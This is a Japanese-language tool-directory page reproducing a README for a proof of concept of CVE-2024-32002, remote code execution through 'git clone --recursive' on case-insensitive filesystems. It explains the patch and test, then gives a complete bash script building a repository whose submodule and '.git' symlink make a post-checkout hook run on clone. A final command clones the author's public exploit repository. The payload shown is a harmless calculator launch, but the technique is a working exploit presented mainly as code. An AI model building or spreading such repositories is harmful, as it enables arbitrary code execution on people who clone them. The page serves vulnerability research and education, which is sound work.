Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
git_rce — CVE-2024-32002 POC | Kitploit
ツール/GitHubGitHub/roronoawjd/git_rce
脆弱性分析エクスプロイト論文と研究学習と教育ペイロード開発
GitHubroronoawjd/git_rce

git_rce

CVE-2024-32002 POC

リポジトリを見る
2年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

git cloneを介したRemote Code Execution攻撃 (CVE-2024-32002)

貢献者

  • イ・ジョンウ@Roronoawjd

背景説明

本脆弱性は、大文字小文字を区別しないWindowsやMacOSなどのファイルシステムにおいて、サブモジュールを含むgitリポジトリをcloneする際に発生するRCE(Remote Code Execution)脆弱性です。RCEはリモートコード実行脆弱性であり、攻撃者が対象システム上で任意のコマンドを実行できる非常に深刻な脆弱性です。 A/modules/x と a/modules/x は同じパスとして扱われます。この特性とシンボリックリンクを利用して脆弱性を引き起こします。

脆弱性情報

  • 本POCはWindowsおよびMACシステムでのみ動作します。
  • git config --global core.symlinks false に設定されている場合、攻撃は機能しません。

脆弱性分析

脆弱性パッチの確認

builtin/submodule--helper.c

dir_contains_only_dotgit関数: ディレクトリに.gitファイルのみが含まれているか、他のディレクトリも含まれているかを確認し、他のファイルやディレクトリがあればエラーを返す。 clone_submodule関数: clone前にサブモジュールディレクトリが存在し、空であることを確認する。

t/t7406-submodule-update.sh

1. グローバル設定

root@kitploit:~
test_config_global protocol.file.allow always &&
test_config_global core.symlinks true &&
tell_tale_path="$PWD/tell.tale" &&
  • このスクリプトはGit設定オプションを設定します。protocol.file.allow alwaysにより、Gitのファイルプロトコルを有効にします。
  • core.symlinks trueを設定してシンボリックリンクの使用を許可します。
  • tell_tale_pathはRCEが正しく動作したかを確認するために使用します。

2. フック設定

root@kitploit:~
git init hook &&
(
  cd hook &&
  mkdir -p y/hooks &&
  write_script y/hooks/post-checkout <<-EOF &&
  echo HOOK-RUN >&2
  echo hook-run >"$tell_tale_path"
  EOF
  git add y/hooks/post-checkout &&
  test_tick &&
  git commit -m post-checkout
) &&
  • hookリポジトリを初期化します。
  • post-checkoutというフックを作成します。
  • フックスクリプトをリポジトリにコミットします。

3. メインリポジトリ設定

root@kitploit:~
hook_repo_path="$(pwd)/hook" &&
git init captain &&
(
  cd captain &&
  git submodule add --name x/y "$hook_repo_path" A/modules/x &&
  test_tick &&
  git commit -m add-submodule &&
  printf .git >dotgit.txt &&
  git hash-object -w --stdin <dotgit.txt >dot-git.hash &&
  printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" >index.info &&
  git update-index --index-info <index.info &&
  test_tick &&
  git commit -m add-symlink
) &&
  • hookのパスを保存します。
  • captainという別のリポジトリを初期化します。
  • hookリポジトリをA/modules/xにサブモジュールとして追加し、コミットします。
  • .gitを指すaというシンボリックリンクを作成します。

4. テスト

root@kitploit:~
test_path_is_missing "$tell_tale_path" &&
test_must_fail git clone --recursive captain hooked 2>err &&
grep "directory not empty" err &&
test_path_is_missing "$tell_tale_path"
  • RCEが動作したか確認します。

POC作成

root@kitploit:~
#!/bin/bash

# Git設定オプションを設定
git config --global protocol.file.allow always
git config --global core.symlinks true
# オプションですが、警告メッセージを回避するために追加
git config --global init.defaultBranch main 


# tell-taleパスを定義
tell_tale_path="$PWD/tell.tale"

# フックリポジトリを初期化
git init hook
cd hook
mkdir -p y/hooks

# 悪意のあるコードをフックに書き込む
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
echo "I'm roronoa" > /tmp/pwnd
calc.exe
open -a Calculator.app
EOF

# フックを実行可能にする: 重要
chmod +x y/hooks/post-checkout

git add y/hooks/post-checkout
git commit -m "post-checkout"

cd ..

# フックリポジトリのパスを定義
hook_repo_path="$(pwd)/hook"

# captainリポジトリを初期化
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"

# シンボリックリンクを作成
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..

git clone --recursive captain hooked

gitは特定のイベントが発生したときに自動的にスクリプトを実行できるようにするフックという仕組みがあります。場所は.git/hooksディレクトリにあります。 post-checkoutはチェックアウト後に実行されるスクリプトです。

image

手順は次のとおりです。

  1. cloneリポジトリgit_rceに.gitを指すシンボリックリンクaが作成される
  2. git clone時にサブモジュールのパスがA/modules/xではなくa/modules/xとして認識される
  3. aは.gitを指すため、.gitに/modules/xが作成され、y/hooks/post-checkoutが作成される
  4. チェックアウト成功後、自動的にgit_rce/.git/modules/x/y/hooks/post-checkoutが実行され、RCEが発生する

POC(Proof of Concept)

⚠️警告:本脆弱性を悪意を持って使用しないでください!

root@kitploit:~
git clone --recursive https://github.com/Roronoawjd/git_rce.git

注:Windowsでは管理者権限でcmdまたはbashシェルを開いて実行する必要があります。

ツールをダウンロード